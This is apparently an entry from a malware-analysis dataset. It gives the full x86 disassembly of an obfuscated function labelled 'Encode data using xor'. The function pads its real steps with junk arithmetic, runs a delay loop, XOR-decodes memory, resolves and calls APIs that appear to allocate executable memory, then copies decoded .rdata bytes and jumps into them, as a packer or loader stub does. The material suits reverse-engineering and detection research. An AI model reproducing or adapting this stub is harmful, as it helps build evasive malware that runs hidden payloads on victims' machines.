Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x4b9a8ad7
mov ecx, edx
sub ecx, edx
add ecx, 0xd8577ce4
popal
or edx, edx
mov edx, 0x9face730
mov ecx, edx
mov edx, 0
mov esi, ebx
add edi, ecx
add edi, 1
mov eax, esi
sub ecx, 0xc74485f
add ecx, 1
add edi, 0xcaba4622
mov ebx, eax
sub ecx, edi
mov edi, 0xff1c0b77
sub edi, 0xad797e56
inc edx
or edi, ecx
inc edi
or ecx, edi
cmp edx, 0x1005b81
jne 0xa789cb
mov ecx, 0xaec8244e
or ecx, edi
add ecx, 0xe6aa2b18
mov edx, ecx
and ecx, ecx
sub edx, ecx
mov edi, 0xa78796
not edx
not ecx
mov edx, 0xf6d57104
mov eax, 0xa7898a
add edx, 1
or edx, edx
mov ebx, dword [edi]
sub edx, 0x761227d1
and ecx, ecx
and ebx, 0xff
mov esi, 0x8467c910
sub edx, 1
xor dword [eax], ebx
add ecx, 0xfab7049c
dec ecx
inc eax
sub esi, 0x2f15ca9a
sub esi, 1
add edi, 1
mov ecx, 0x2548427d
or edx, edx
inc edx
cmp eax, entry0
jl 0xa78a38
add ecx, ecx
mov esi, 0x7c879eb3
add ecx, esi
add esi, 0x8a64b6f2
mov edx, esi
or edx, esi
sub edx, ebx
mov edx, 0x920652df
mov edi, 0xa7898e
or edx, edx
sub edx, ebx
not ecx
mov edi, dword [edi]
or edx, ecx
add edx, 0x4b9b59b8
mov edi, dword [edi]
add edx, 0x54b189c1
not ecx
push edi
sub edx, 0x1f936d36
mov ebx, 0x22b59b00
mov edi, 0xa7898a
sub esi, 0xf4f934b3
mov esi, edx
dec esi
mov edi, dword [edi]
add ecx, ebx
dec esi
mov edi, dword [edi]
sub edx, 0x12432dde
inc ebx
push 0xa78992
mov ecx, edx
mov esi, 0x82f31fea
and edx, esi
call edi
sub ebx, 0x5cb5c237
not ecx
mov ebx, ecx
pop edi
and ecx, esi
add ecx, ecx
and edx, esi
push 0xa7899f
or ecx, edx
or esi, ecx
push eax
add esi, 0xf1a75ff4
inc ebx
not ecx
call edi
and ecx, ecx
sub esi, 0x4269ecf1
inc ebx
sub esp, 4
mov dword [esp], 0x40
or edx, esi
or ecx, edx
push 0x3000
and ecx, esi
sub esi, 0x4b995aee
sub esp, 4
mov dword [esp], 0x20000826
mov esi, 0xcdc061a2
dec edx
not ebx
sub esp, 4
mov dword [esp], 0
mov ebx, 0xa6288b3c
not edx
mov ecx, 0xe98f9a03
call eax
inc esi
and edx, ebx
mov ebx, 0x83eb1298
add eax, 0x20000762
add edx, 0x6a89b27f
sub ecx, 0x7f7ab0bf
mov edi, 0x76efe580
mov esi, edx
and ecx, esi
and ecx, ebx
mov dword [eax], edi
inc ebx
add edx, ecx
or esi, ebx
mov edi, dword [eax]
add esi, 0x9e9dc4d
add ebx, 0xfe1a5fa9
cmp edi, 0x76efe580
je 0xa78bb1
mov eax, 0
mov dword [eax], ebx
sub edx, 0xc730a567
not edx
mov ebx, 0x3646595d
inc ebx
sub ebx, 1
not ebx
not ecx
mov edx, 0x1f833d59
mov edi, section..rdata
add ecx, 0x4842d315
sub ecx, 0x1d1cb41d
mov ebx, 0xa78795
add edx, 0xec4b0ce1
add edx, edx
sub edx, 0x1ef7d35e
mov esi, 0
sub edx, ecx
inc ecx
mov eax, 0xa78796
mov edx, 0x4fa161c5
not ecx
or ecx, edx
lea eax, [esi + eax]
sub edx, ecx
sub edx, ecx
sub edx, 0x4dec7d81
mov eax, dword [eax]
sub edx, ecx
mov ecx, 0x495438cd
and eax, 0xff
add ecx, edx
sub ecx, edx
inc esi
mov edx, ecx
dec ecx
cmp esi, 0x1f4
jne 0xa78c39
mov esi, 0
and edx, edx
sub ecx, 0x4ea1d07
and edx, ecx
add ecx, edx
xor dword [edi], eax
add edx, 1
mov edx, 0xac773a47
add edi, 2
add ecx, 0x6fd441cc
not edx
or ecx, edx
cmp edi, ebx
jl 0xa78bfa
add ecx, ecx
mov ecx, edx
sub edx, ecx
sub edx, ecx
add ecx, 0xef0130e1
mov ecx, section..rdata
mov eax, edx
sub eax, edx
mov edi, section..rdata
or eax, edx
sub eax, edx
mov esi, 0xa78795
sub eax, edx
inc eax
sub eax, edx
mov ebx, 0
not eax
add eax, 0xdc90528f
mov bl, byte [edi]
or eax, edx
mov edx, 0x7fdfad36
mov byte [ecx], bl
sub eax, edx
add edx, edx
inc ecx
and edx, eax
sub edx, 0x583be2bc
not eax
add edi, 2
not eax
mov eax, 0x9312756b
mov eax, 0xc526cd43
cmp edi, esi
jle 0xa78ca1
mov edx, 0x3b194fda
add eax, 0x56a92059
or edx, eax
or edx, ecx
inc edx
or edx, edx
push 0x8dc6a0
add ecx, edx
mov edx, 0x69b9d8e
dec edx
ret